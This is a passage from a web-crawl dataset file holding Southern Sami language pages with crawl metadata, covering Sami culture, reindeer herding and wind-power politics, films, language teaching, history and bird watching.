noerh voengesne skreejrehtidh sijjen saemien kultuvrem, gïelem jïh identiteetem vaarjelidh jïh nænnoestehtedh. Joekoen dan åvteste manne jïjtje leam dååjreme man prååsehke saemien gïele jïh kultuvre leah mearoesaemien dajvine.\nMinngemes jaepien aaj turistevuesiehtæjjine barkeme Sokki Adventure turistecampesne Guovdageaidnusne. Desnie nuepiem åådtjeme vuejnedh man vihkeles jïh man stoerre aavoe lea mov kultuvrem, aerpievuekieh, histovrijen jïh dååjrehtimmieh juekedh, dovne goh mearoe- jïh båatsoesaemie; daate munnjien jïjnjem skraejriem vadteme tsïegline årrodh aktem jaepiem! Manne aavodem akten jaapan tjaebpies almetjigujmie, orre sijjieh dååjredh, jïjtjemem haestedh, orre mojhtesh sjugniedidh jïh mov vaajmoe-aamhtesh eevtjedh.\nNjieljie varke gyhtjelassh:\n1. Maam 10 jaepine darjoeh?\nHmm, hijven gyhtjelasse, gie daajra maam jirredebiejjieh buektieh? Manne hævvi gegkestem manne leam ööhpehtimmiem vaalteme jïh mejnie akt barkem mij munnjien stoerre aavoem vadta! Dagke saemienlohkehtæjjine sjïdteme, turismine barkeminie jallh manne leam plaave mearosne jïjtjene göölemevïnhtsine.\n2. Maam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nManne mån mojjehtamme jïh ånnetji meatan flöörtadamme manne aaj.\n3. Mah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nRaajroeh jïh filmh eah leah mov veaksahkommes bielie … sveekes manne astem, men åadtjoem gujht dejnie haarjanidh daan jaepien! Gosse easkah edtjem raajroeh vuartasjidh, tjuara raajroe årrodh jïjnje draamine jïh ohtje krimmine, guktie mij lea buerebe goh klassihkere Home And Away.\n4. Maam saemien åahpetjidie datne buaresjh?\nIj leah raaktan mov naan saemien åahpetjem maam buaresjh, men gellie hijven åvteguvvieh ålkone Saepmesne! Gaskem jeatjah tjiehpiedæjja Maret Anne Sara mij aktem veaksehks saemien gïelem vuesehte båatsoepolitihkeles aamhtesi sisnjeli. Lissine Nils Rune Utsi, Slincraze, mij geerve teemah bæjjese vaalta sov musihken tjïrrh!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/maila-risten-bongo-dikkanen-4\/","date":"2022-05-21T03:53:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662534773.36\/warc\/CC-MAIN-20220521014358-20220521044358-00437.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":323,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Meninger Dette er et debattinnlegg. Innlegget gir uttrykk for skribentens holdninger.\nDaelie Stoerredigkie aamhtesem Vindkraft på land gïetedamme. Gyhtjelasse lea mejtie jarkelimmieh konsesjovnegïetedimmesne sæjhta naemhtie juhtedh guktie rïektesisnie gåarede dam vijries bïegkeindustrijem tjöödtjestidh gåatomelaantine jïh eatnamisnie mejstie mijjieh dan jearohke.\nStoerredigkiebïevnese åajvahkommes aamhtesegïetedimmiem bïegkeindustrijebigkemidie jåarhka, jïh ij nuekie vaarjelimmiem vedtieh ihke voenges seabradahkh, gåatomejielemh jïh eatnemedajvh edtjieh gorresovvedh dejtie mah leah jeenjemes jearohke dejstie vyörtegs vierhtijste mejtie eatneme mijjese vadta. Saepmesne gamte sïemesvoete orreme bïegkefaamoebigkemen bïjre. Saemiedigkien stoerretjåanghkoe lea bïegkefaamoebigkemem saemien båatsoedajvine tjïelkelaakan nyöjkeme, jïh Nöörjen båatsoesaemiej rïjhkesiebrie (NBR) bïegkefaamoem båatsoedajvine ållesth vuastele.\nDan joekoen ovmurreds gosse dïhte orre konsesjovnegïetedimmie ij dam krööhkesth. Båatsoen gaajh nåake tsiehkie dejnie stoerre aajhtojne, sijjieh maehtieh saaht gåessie joekoen krïevije aamhtesegïetedimmiem åadtjodh bïegkefaamoesoejkesji gaavhtan, dïhte jåarhka daejnie stoerredigkiebïevnesinie.\nDaate aajhtoe lea rïektes jïh båatsoealmetji jïh mijjen gåatomelaanten bijjeli gævnjesje goh aajhtije vaahra. Daate ij naan stabiliteetem båatsose vedtieh gosse lea daan beajjetje tsiehkien bïjre.\nBåatsoe lea jieleme mij stoerre areaalh daarpesje, men ahkedh deadtovem dååjroe gåatomedajvine. Dajvh leah prååsehke jïh joekoen vihkeles juktie maehtedh bovtsigujmie gïehtelidh. Ij akt båatsoe gænnah ajve akte jieleme, men jieledevåarome jïh naakede mij saemien gïelem, kultuvrem jïh identiteetem guadta. Gellie båatsoesïjth leah raasten nelnie destie dah orre skilkehtassijste tööllieh.\nStoerredigkien gïetedimmien gaavhtan stoerredigkiebïevnesistie, illedahke edtja buerebe voenges jïh regijonaale gårreldimmie årrodh, jïh båatsoe edtja buerebelaakan meatan vaaltasovvedh. Båatsoen gaavhtan ij leah amma seekere gænnah mejtie mij akt buerebe sjædta gosse tjïelth jïjtjh edtjieh nænnoestidh mejtie jïh gusnie dah areaalh bïegkefaamose faalehtieh. Båatsoesïjth maaje dajvh nuhtjieh gelline tjïeltine, aaj fylhkine, jïh doh voenges daajroeh båatsoen bïjre vihkele sjidtieh gosse orre bïegkefaamoeprosjekth buartan båetieh.\nDaelie saemien seabradahke tjuara mijjen tjoermehtassh stuvredh dejtie veljies tjïeltepolitihkeridie bïjre jarkan laantesne, mah gåaroes tjïeltekaasusinie tjabreminie jïh mej stoerre daerpiesvoete darjomigujmie nïerhkedh smaave tjïeltine. Gieries gåassoehtæjjatjïelth, krööhkesth jïh aellieh orre skilkehtassigujmie nïerhkh mah stoerre konsekvensh båatsose vedtieh! Mijjen ååpsen gellie bïegkeindustrijedajvh vuajneme mah vihkeles gåatomedajvh stoerre aarvojne beajsteme, jïh dan gaavhtan aaj jieliemassevåaromem. Daate lea joekoen nåake tsiehkie dejtie båatsoealmetjidie mah daejnie aamhtesinie tjåadtjoeh, jïh mah tjuerieh konsekvenside guedtedh. Olles daate edtjh sjugniehtovvedh båetijen aejkien dellie dagke gaajhkesh mijjieh maehtebe lïeredh guktie dah ussjedieh mah eatnaminie jielieh jïh eah eatnamistie: Mijjieh eatnemem båetijen aejkien boelveste löönebe, dah edtjieh seamma nuepieh mijjine utnedh.\nGieries gåassoehtæjjatjïelth, mov håhkoe lea dijjieh daam krööhkestidie jïh veelelaakan ussjede åvtelen bïegkefaamoevierhkieh gåatomedajvine soejkesjidie. Dijjen akte joekoen stoerre dïedte man åvteste tjoerede guhkiebasse ussjedidh jïh båatsoem, jeatjah gåatomejielemh, almetji åtnoem miehtjiesdajveste, mijjen kultuvreeatnemh jïh eatnemem gorredidh, mestie gaajhkesh mijjieh dan jearohke. Mijjen båetije aejkie lea dijjen gïeti sisnie, gaajhkine mij lea vïedteldihkie daase.\nMinngemes, gosse lea Fovsen-njaarken jïh Fovsen-Njaarken båatsoesïjten bïjre, mij joe stoerre gåatomedajvh dasseme govhte bïegkefaamoevierhkide 264 bïegketurbijnigujmie tjuara daelie nuekie årrodh, jïh gåassoehtimmiesïelth tjuerieh nyöjhkedh gåatomelaantem jïh eatnemem enn vielie goerpedehtedh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.tronderdebatt.no\/lohkijetjaalege-gieries-b-egkefaamoen-gaassoehtajjatj-elth-kr-hkestidie-baatsoem\/o\/5-122-13599","date":"2022-05-28T08:23:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00338.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":450,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\/01\/2020 Anne RasmusRedaktevraEllen JonassenJorgaleaddji Dåarjoe kultuvreråajvarimmide jïh saemien lidteratuvrese Goeven 2019 Saemiedigkieraerie lea 441 000 kråvnah dåarjojne joekedamme dovne smaave jïh stoerre kultuvreråajvarimmide, jïh 878 000 kråvnah bæjhkoehtæmman saemien lidteratuvrese. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/daarjoe-kultuvreraajvarimmide-jih-saemien-lidteratuvrese\/","date":"2022-05-24T19:44:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573189.78\/warc\/CC-MAIN-20220524173011-20220524203011-00302.warc.gz","language":"sma","language_score":0.939319551,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9393195509910583, \"sme_Latn_score\": 0.048251863569021225}","num_words":56,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Feabpore\nSveerjengïelen baakoe fä lea båarasåbpoe baakoe kreatuvrijste, juvrh goh govsh, sïrvh jïh gaajhtsh. Feabpore lea bigkemh tjåanghkenamme, ståapoeh, fievsieh jïh mielhkiebuvrieh.\nGuktie govsh edtjieh daelviem bearkanidh tjoerebe dejtie sïjse vaeltedh jïh dejtie bïepmehtidh. Bårremassh tjoerebe giesien tjöönghkedh. Sijjeste baajin juvrh gåatodh ïentjine gaertenen lïhke dellie juvride juhtin feabpoerasse skåajjesne. Juvrh åadtjoejin skåajjesne gåatodh giesien jïh kraesieh ïentjine gaertenen bïjre tjoehpin jïh spåårin daelviebårremassese. Daelvien fievseste juvri bajhkh veedtjin jïh dam eekerasse seejin. Voene lij daamtaj feabporevaelliem ektesne gåabph juvrigujmie juhtin.\nDah gïeh dïedtem utnin feabpoerisnie lij noere nyjsenæjjah jïh noerh. Dïhte lij vuesiehtimmie daktere jïh seamma båeries sjovne gïeh juhtin feabpoerasse juvrigujmie. Dej barkoe lij juvrh gïetedidh. Vaaksjoejin guktie dah juvrh bååstide iehkiedisnie böötin jïh dejtie olkese luejhtiejin aereden. Aereden jïh iehkeden buhtjin jïh mielhkiem gïetedin: vuastam darjodh, gïhpedin jïh voejem sjöövin. Dan lissine edtjin juvrh vaarjelidh skåajjen vaaregijstie ovjuvrh jïh jeatjah skugkieh.\nGïerve daejredh man guhkiem feabporekultuvrem lea gååvnesamme, men aerviedi aerpievuekie joe eelki ruevtieaalterisnie. Akte båarasommes tjaaleldh tjaalegh mij gååvnese feabporeåtnoen bïjre Ångermanlandesne lea gaavneme Vibyggerå:esne jïh dïhte lea 1558 raejeste.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/feabpore","date":"2022-05-29T02:15:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00180.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":173,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ij jïjnje maam lea «sïejhme saemien» filmine Hilbes biigá. Læjhkan daate åenehks-filme soptseste guktie noere saemine årrodh daan biejjien. Filme gelline filme-festivaaline veartenisnie vuesiehtamme jïh gellie baalhkah vitneme.\nDahkoe\nMáigon 15 jaepien båeries jïh dan bööremes voelpe Ánne-Sire aktene onne voenesne årroeminie noerhtene. Giesege, biejjie aaj jïjjege goekeminie. Ánne-Sire ov-såahtan Máigonem haasta baernine dååkerdidh. Máigon ij sïjhth, men soejkesjem åtna: Sveerjesne mïnnedh, mij maahta vaarege årrodh. Filme Hilbes biigá lea akte feeleme-filme (roadmovie) vïenevoeten, raajoej, deadtoven, sensualiteeten jïh hohkemen bïjre.\nVïenevoete jïh vaane-sovme\nRegissööre Marja Bål Nango gellie baalhkah vitneme, aaj baalhkam Skårungen vitneme festivaalesne Tromsø filmfestival 2015. Filmen bïjre jeehtin, filme lij mavvas teemine mej bïjre noerh krööhkestieh. Aaj jeehti; daan jaepien Skårunge filmem dorjeme mij vïenevoetem jïh vaane-sovmem vuesehte. Filme stoerre jïh gïerve teemah digkede jïh sisnjelds domtesh vuesehte jieliedisnie. Daan jaepien vitnije dorje juktie ov-vaane dorjehtæjjah eadtjohkelaakan spealadieh jïh jieledem karakteeride vedtieh.\nSaemien filme\nJaepien 2009 saemien film-instituhte Internasjonalt Samisk Filminstitutt (ISFI) tseegkesovvi. Dan mænngan saemien filmh våajnoes sjïdteme. Filme-programmesne «7 Sámi Stories» tjïjhtje filmh jïh åenehks-filme Hilbes biigá lea akte dejstie. Filme-programme «7 Sámi Stories» lea jienebh enn 70 filme-festivaaline vuesiehtamme abpe veartenisnie. Filme Hilbes biigá jïh filme Fucking Åmål (1998) hedtieh utnieh. Filme Fucking Åmål (regissööre Lukas Modysson) noerebaelie-byjresem vuesehte aktene onne sijjesne Noerhte-Sveerjesne.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178211?filters=urn:filter:d4511941-a1fc-4336-bc80-0a05c534a182","date":"2022-06-26T00:01:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103036176.7\/warc\/CC-MAIN-20220625220543-20220626010543-00657.warc.gz","language":"sma","language_score":0.9998987913,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9998987913131714}","num_words":202,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2012\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nAamhtesh\nViehkiebaakoe\nSpïelh jïh lïerh saemien kultuvrem.\nSáivu lea spïele man saemien kultuvre våaroeminie. Spïele datnem voelkehte gaektsien saemien jaepieboelhken tjïrrh, jïh geahken jaepieboelhken sjïere haesteme. Jis haestemem tjïrrehth, dellie vadtesem åadtjoeh sjïeledæmman gosse guhkiebasse sïjhth båetijen jaepieboelhkese. Muvhten haestiemasse kaanna viehkiem daarpesjh, dellie aevhkine dejtie joekehth viehkiespïelide voestegh spïeledh. Vuesiehtimmien gaavhtan maahtah joejkememojhtesespïelem åvtelen, mestie vuelieh lïerh, jallh maahtah vaajesh goltelidh jïh lïeredh guktie maahtah baltehkidie håajsodh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ovttas.no\/sma\/oahpporeaiddut_saivu","date":"2022-06-29T22:55:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103645173.39\/warc\/CC-MAIN-20220629211420-20220630001420-00415.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":76,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fil.dr. Hanna-Máret Outakoski lea voestes amanuensis Upmejen universiteetesne jïh Nöörjen arktihke universiteetesne (UiT). Outakoski lea lohkehtæjjine Upmejen universiteetesne barkeme jaepien 2001:n raejeste jïh tjaktjen 2021 lea guessielohkehtæjjine Saemien Jillieskuvlesne\/Sámi Allaskuvlesne barkeme. Outakoski joekoenlaakan dam saemien online-lohkehtimmiem maahta jïh lea aaj joekoenlaakan darhkeme guktie virtuelle veartenh maehtieh gïelelohkehtimmiem geervealmetjidie dåarjodh. Outakoskin suerkie lea lingvistihke, mohte sov dåakteretjaalegisnie jïh internationelle post.doc prosjektesne lea tjaelemem, sosiolingvistihkem jïh lohkehtimmiedaajroem darhkeme. Dennie lohkehtimmiedaajrosne lij gïeledidaktihke eeremes jarngesne. Outakoskin båetije prosjekth, mah daan gïjren 2022 aelkieh, dellie edtja vuartasjidh jïh vihtiestidh litteracitetspraksijsem gelliengïeleh aarhskuvlesne jïh edtja aaj goerehtidh man vihkele stååkedimmie lea gïelelohkehtimmesne.\nHanna Outakoski Tjaalehraajroe-nehtetjåangkojne lohkehtalla, gusnie edtja sov dotkemen bïjre soptsestidh jïh mijjinesoptsestalledh. Gåessie Outakoskin minngemes presentasjovne sjædta, mænngan bæjhkoehtibie:\n2. BOELHKE: Gelliengïelehvoete jïh tjaeleme\nDato: 03\/03.2022\nMENNIE MIERESNE: 16.00-18.00\nGusnie: Online\nMijjieh svaalhtesem daase biejjien åvtelen bïejijibie\n3. BOELHKE: 31\/03: Varför är litteracitet så viktig redan i unga åldrar","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sijtijarnge.no\/sor\/hanna-outakoski-flersprakighet-och-skrivande\/","date":"2022-07-03T04:41:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215790.65\/warc\/CC-MAIN-20220703043548-20220703073548-00632.warc.gz","language":"sma","language_score":0.9997681975,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997681975364685}","num_words":139,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjel-saemieh\nDah saemieh mah åarjemes Saepmesne årroeh. Dah joekehts mubpiej saemijste leah evtemes gïele, jïh aaj gapta, tjaalehtjimmieh, guktie gåetieh tseegkieh jïh jeatjah kultuvredahkoeh. Aerpievuekien mietie leah gööleme, vijreme, bivteme, tjöönghkeme, vætna jïh båatsoe vihkeles åarjelsaemien sïebredahkesne.\nÅrrodh\nDaaletjen åarjelsaemien årromedajve noerhtelen Raaneste jïh Gautseste åarjese Svahkese jïh Eajrese. Luvlie- mearoegaedteste jillie-mearoegaadtan. Åarjelsaemieh bårrode årroeh stoerre dajvesne jïh eatneme, maadtoeh jïh fuelhkien histovrije vihkeles, jïh aaj båatsoe.\nSaemiestidh\nSaemien gïeledajve gaajhkene laantine mah Saepmiem dej gaskem juakeme, bielieh Nöörjeste, Sveerjeste, Soemeste jïh Russlaanteste. Gïelen raasth eah fulkh rïjhki raasth. Saemiengïele soemen-ugrijen gïeledåehkesne. Gååvnesieh 10 ovmessie saemien gïelh, åarjelsaemien åarjemes. Sjïere joekehts åarjelsaemien jïh dej mubpiej saemiej gïeli gaskem.\nUNESCO;en læstosne håvhtadihks gïeligujmie åarjelsaemien akte itjmies håvhtadihks gïele. Vaenieh gïeleutnijh jïh guhkies dej gaskem dåeriesmoere dejtie gïeh gïeline berkieh. Sïebredahke jïjnjh almetjh daarpesje gïeh saemiestieh. Sjïere lohkehtæjjah gïeh maehtieh learoevierhtieh tjaeledh jïh aaj almetjh byjjes reeremisnie jïh dïenesjebarkojne.\nVoestes lïhtsem saemien baakojne edtja eejnegen diedtiestidh. Saemien lea verbaale gïele gusnie verbh vihkeles, mah darjoeh. Juktie baakoen maadtojste maahta gellie ovmessie baakoeh darjodh.\nVytnesjidh\nVytnesjidh lea vihkeles åarjelsaemide. Vætna leah tjåenieh mah nåhtede, tjiehpiesvoete jïh vuekie mejnie saemien jieledevuekie jïh vearteneguvvie vuesehte. Saemien jieledevuekie gosse ij jienebe vaeltieh enn maam daarpesje daelie jïh vuekie daam darjodh guktie ij gaajhkem vaeltieh. Åarjelsaemiej tjaalehtjimmie jïjnje geometrijen. Dah rïektes sïevh, leahtah jïh naestieh naejieh. Tjaalehtjimmieh, gosse guvvede, naaja vuj ditnine vuj gierkiejgujmie gååre, lea dovne praktihkeles, estetihken tjaebpies jïh dïhte gaskesadta. Daam vuajna treavkine, gieriehtsisnie, geasastahkine, dïrreginie, vaarjojne jallh vætnine. Dah ïebnh leah aerpievuekien mietie moerh, tjåervieh, måarah jïh skåerrie. Moerijste nuhtjie biessieh, roehtsh, moerh jïh fijferh. Bovtseste dueljie, tjåervieh, måarah jïh soenh vætnese jïh dah mah aajmene maahta byöpmedidh.\nByöpmedidh\nDah byöpmedieh mah bovtsh dejtie vedtieh jïh aaj guelieh jïh muerjieh. Sarven jïh bovtsen bearkoeh maahta doeltedh vuj bissedh, jallh såålhtedh, soevestidh jïh gejhkedh. Sjædtoeh voenges dajvesne aaj maahta beapmose, daalhkesidie, vætnese nåhtadidh jïh gåetiem tseegkedh.\nGåårvedidh\nÅarjelsaemien gapta lea aerpievuekien mietie plaave jïh budteme rööpses, kruana jïh viskes klaeriejgujmie. Gapta mahte seammaleejns abpe åarjelsaemien dajvesne, mohte maahta vuejnedh gubpede båata jïh mij fuelhkijste. Tjïelkemes lea daablaleahta boengeskuvmine Plaassjen jïh Herjedaelien dajvesne, jïh dah mubpieh noerhtelen, Vaapste, Gaala, Nåamesje, Dearna, Vualtjere, bieliegievlieleahtah utnieh.\nDovletje aejkiej\nÅarjelsaemiej histovrije maahta golme boelhkide juekedh: vijremesïebredahke, intensijve båatsoe jïh ekstensijve båatsoe. Båatsoe såvma eelki medtie 1200-1400 låhkosne. Jïh intensijve båatsoe såvma nåhki gosse orrijin bovtside buhtjedh, mij Nöörjesne deahpadi 1902 – 1964 jaepiej gaskem.\nAerpievuekien mietie dej saemiej gåatomedajvh, aaj åarjelsaemien dajvesne, eah rïjhkeraasti mietie. Gosse Sveerje jïh Nöörje raastem tseegkin jaepien 1751 dellie båatsoen tsiehkieh tjïelkestamme Lappekodisillesne., mij lij lissine raastetraktaatese dej göökte laanti gaskem\nDaaroedehtemepolitihke lea baakoe mij lea byjjes politihke maam nöörjen åejvieladtjh nuhtjin gosse sïjhtin saemide assimileeredh nöörjen sïebredahkese. Medtie 100 jaepieh, medtie 1850 raejeste, lij dan byjjes nöörjen politihke saemieh edtjin nöörjen sïebredahkese assimileeredh.\nDïhte voestes saemien sivijlesïebredahkeorganisasjovne Nöörjesne lij Brurskanken Samiske Kvindeforening Vaapstesne jaepien 1910 tseegkin mïsse organisasjovnenyjsenæjja Elsa Laula Renberg skreejri. Aareh 1900-låhkosne lij stoerre saemiepolitihken barkoe, mestie gaskem jeatjah voestes internasjonaale saemietjåanghkoe Tråantesne sjïdti jaepien 1917.\nDaan biejjien\nDaan biejjien byjjes vuajnoe staate Nöörje lea tseegkeme göökte almetji eatnamisnie – saemieh jïh daaroeh. Gåabpatjahkh åålmegh seamma reaktaj utnieh dej kultuvrem jïh dej sïebredahkejieledem evtiedieh.\nDaan biejjien Saemiedigkieh tseegkeme dovne Nöörjesne jïh Sveerjesne jïh åarjelsaemien institusjovnh goh skuvlh, museumh, teatere jïh gïelejarngh leah abpe åarjelsaemien dajvesne.\nBaakoeh\nTjoejkedh\nTjoejkedidh\nTjoejkehtalledh\nTjoejkehtehtedh\nTjoekehtidh\nTjoejkehtæjja\nTjoejkelidh\nTjoejkestidh\nTjoejkijidh","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/nordligefolk.no\/aarjel-saemieh-sorsamer\/?lang=sa","date":"2022-06-29T22:05:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103645173.39\/warc\/CC-MAIN-20220629211420-20220630001420-00600.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":544,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse:\nSvætnoe gærjetje edtja viehkievierhtine learoehkidie jåarhkeskuvlesne årrodh. Gærjetjisnie gellie guvvieh mah ovmessie svætnoeh vuesiehtidh, dovne dejpeli jih daelie. Mejtie daate gærjetje hijven dejtie gieh sijhtieh ietnien gieline lohkedh guktie ditnie- svætnoem gåaroddh.\nSvætnoe- duedtiegærja er en ressurs for elever i videregående opplæring. Svætnoe-duedtiegærja kan også være til glede for andre som ønsker å lære å sy et sørsamisk tinnbelte og for alle som ønsker å styrke sitt sørsamiske morsmål.\nSpesifikasjoner\nSpråk: Åarjelsaemien\nUtgiver: Davvi girji\nISBN: 978-82-329-0136-4","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/nettbutikk.saemiensijte.no\/product\/10901","date":"2022-06-28T22:32:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103617931.31\/warc\/CC-MAIN-20220628203615-20220628233615-00787.warc.gz","language":"sma","language_score":0.9972779751,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9972779750823975}","num_words":77,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerre Vaerie lea Christinan (Elle Marja) bïjre guhte noereaalterisnie sov slïektem jïh kultuvrem leehpi. Daelie bååstede båateme åabpebem juvledh. Jaepien 2015 daate åenehks-filme lij meatan festivaalesne Sundance Film Festival, goh voestes saemien filme.\nDahkoe\nChristina ij sïjhth, men læjhkan baernebem jïh aahkovem dåerede åabpeben juvlemasse. Gærhkosne dah åabpeben fuelhkiem jïh voelph råakedieh. Fuelhkie gaptine gåårveldahkesne, jïh muvhth aaj juejkieh. Dah Christinese saemiestieh, men Christina ij vaestedh jïh lössh ij guarkah maam jiehtieh. Christina sæjhta dan varke guktie gåarede destie vuelkedh. Gosse baernebe sæjhta fuelhkien luvnie jïjjedidh, Christina ij sïjhth dåeriedidh jïh hotell-tjïehtjelem leejjie.\nMierie-soptsese\nStoerre Vaerie lea mierie-soptsese Kernellen spïele-filmesne Saemien vïrre. Soptsese lea Elle Marjan bïjre, guhte lea noere Christina. Saemien Vïrren aalkoevisnie jïh galhkuvisinie båeries Christinam råakebe. Filmen åejvie-boelhkesne mijjieh Sveerjen bielesne 1930-låhkosne jïh åadtjobe vuejnedh guktie stoere-siebriedahke dellie saemiej vööste dåemiedi. Dïedtelgimmie jïh rasisme lin biehkie aarke-biejjeste. Elle Marja internaatese seedtesåvva ektine jeatjah saemien maanajgujmie. Raase-biologh skuvlese båetieh mah båadtsoes maanijste guvvieh vaeltieh, maanaj baenieh goerehtieh jïh njuenieh jïh gaaloeh möölieh. Elle Marja gaskesem sov saemien identiteetine nåhtehte.\nÅasah jïh nammoehtimmie\nKernellen åenehks-filme Stoerre Vaerie\n- Åasam dååsteme åenehksfilme-gahtjeme Startsladden Gøteborg Film Festival, jaepien 2015\n- Meatan gahtjeme-programmesne festivaaline Sundance Film Festival jïh Clermont-Ferrand Short Film Festival\n- Jaepien 2016, filme-åasese Guldbagge nammoehtamme, klaassesne bööremes åenehks-filme\nBaakoeh\nSaemien\nDaaroen\nnammoehtimmie\nnominasjon\nmierie-soptsese\nrammefortelling","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:177968","date":"2022-06-25T04:14:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103034170.1\/warc\/CC-MAIN-20220625034751-20220625064751-00099.warc.gz","language":"sma","language_score":0.9999796152,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999796152114868}","num_words":210,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ledtieh vuejnedh\nGïjregiesie lea ledtiej jaepieboelhke jïh Angsjön, Ansjöbäcken. Björkbäcken jïh plueviedajvh leah buerie sijjieh ledtieh vuejnedh.\nVásádusá birra\nGujht hijven nuepie ledtieh vuejnedh goh tjåktjah, gåehpelh jïh goeksegh. Naan aejkien aaj jeatjah ladtetjh. Stuerebe moeretsöölhkh sïejhme jïh muvhten aejkien aaj golmetjiehtjerh moeretsöölhke. Sjïere gïjren jïh gïjregiesien leah jïjnjh ledtieh aaj Angsjönen lïhke, dellie njoktjh jïh tjåerkieh jïh dan mænngan gellie ovmessie såarhth ladtetjh.\n- Ájgge\n-\nÅlles 